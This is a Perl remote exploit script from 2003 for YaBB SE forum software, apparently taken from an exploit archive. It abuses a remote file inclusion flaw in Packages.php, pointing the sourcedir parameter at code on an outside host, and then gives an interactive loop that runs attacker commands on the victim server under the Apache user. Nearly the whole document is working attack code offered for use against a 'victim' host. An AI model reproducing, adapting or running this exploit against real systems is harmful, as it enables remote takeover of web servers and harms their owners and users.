Yabase v1.5.0 remote exploit to spawn bash shell with Apache uid.
58656cc32a0af4370be32b024340a8b698195d4cb03ac29dfab328c01e3fb61e
#####################################################
# yabbse.pl exploit
# Spawn bash style Shell on Apache CPANEL
#
# Spabam 2003 PRIV8 code
#
# spax@zone-h.org
# This Script is currently under development
#####################################################
use strict;
use IO::Socket;
my $host;
my $port;
my $command;
my $url;
my @results;
my $probe;
my @U;
my $shit;
$U[1] = "/Sources/Packages.php?sourcedir=https://utenti.lycos.it/z00/xpl.gif&cmd=";
&intro;
&scan;
&choose;
&command;
&exit;
sub intro {
&help;
&host;
&server;
sleep 3;
};
sub host {
print "\nHost or IP : ";
$host=<STDIN>;
chomp $host;
if ($host eq ""){$host="127.0.0.1"};
$shit="|";
$port="80";
chomp $port;
if ($port =~/\D/ ){$port="80"};
if ($port eq "" ) {$port = "80"};
};
sub server {
my $X;
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
$probe = "string";
my $output;
my $webserver = "something";
&connect;
for ($X=0; $X<=10; $X++){
$output = $results[$X];
if (defined $output){
if ($output =~/Apache/){ $webserver = "Apache" };
};
};
if ($webserver ne "Apache"){
my $choice = "y";
chomp $choice;
if ($choice =~/N/i) {&exit};
}else{
print "\n\nOK";
};
};
sub scan {
my $status = "not_vulnerable";
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
my $loop;
my $output;
my $flag;
$command="dir";
for ($loop=1; $loop < @U; $loop++) {
$flag = "0";
$url = $U[$loop];
$probe = "scan";
&connect;
foreach $output (@results){
if ($output =~ /Directory/) {
$flag = "1";
$status = "vulnerable";
};
};
if ($flag eq "0") {
}else{
print "\a\a\a\n$host VULNERABLE TO URL $loop !!!";
};
};
if ($status eq "not_vulnerable"){
};
};
sub choose {
my $choice="0";
chomp $choice;
if ($choice > @U){ &choose };
if ($choice =~/\D/g ){ &choose };
if ($choice == 0){ &other };
$url = $U[$choice];
};
sub other {
my $other = "/Sources/Packages.php?sourcedir=https://utenti.lycos.it/z00/xpl.gif&cmd=";
chomp $other;
$U[0] = $other;
};
sub command {
while ($command !~/quit/i) {
print "\n[$host]\$ ";
$command = <STDIN>;
chomp $command;
if ($command =~/quit/i) { &exit };
if ($command =~/url/i) { &choose };
if ($command =~/scan/i) { &scan };
if ($command =~/help/i) { &help };
$command =~ s/\s/+/g;
$probe = "command";
if ($command !~/quit|url|scan|help/) {&connect};
};
&exit;
};
sub connect {
my $connection = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => "$host",
PeerPort => "$port",
) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
$connection -> autoflush(1);
if ($probe =~/command|scan/){
print $connection "GET $url$command$shit HTTP/1.0\r\n\r\n";
}elsif ($probe =~/string/) {
print $connection "HEAD / HTTP/1.0\r\n\r\n";
};
while ( <$connection> ) {
@results = <$connection>;
};
close $connection;
if ($probe eq "command"){ &output };
if ($probe eq "string"){ &output };
};
sub output{
my $display;
if ($probe eq "string") {
my $X;
for ($X=0; $X<=10; $X++) {
$display = $results[$X];
if (defined $display){print "$display";};
sleep 1;
};
}else{
foreach $display (@results){
print "$display";
sleep 1;
};
};
};
sub exit{
print "\n\n\n
SPABAM 2003.";
print "\nspabam.tk spax\@zone-h.org";
print "\n\n\n";
exit;
};
sub help {
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\n
yabbSE.pl v0.1 by SPABAM spax 2003";
print "\n
";
print "\n A YABBSE FORUM EXPLOIT WHICH SPAWN A BASH STYLE SHELL";
print "\n
note.. web directory is normally /var/www/html";
print "\n";
print "\n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)";
print "\n\n\n\n\n\n\n\n\n\n\n\n";
};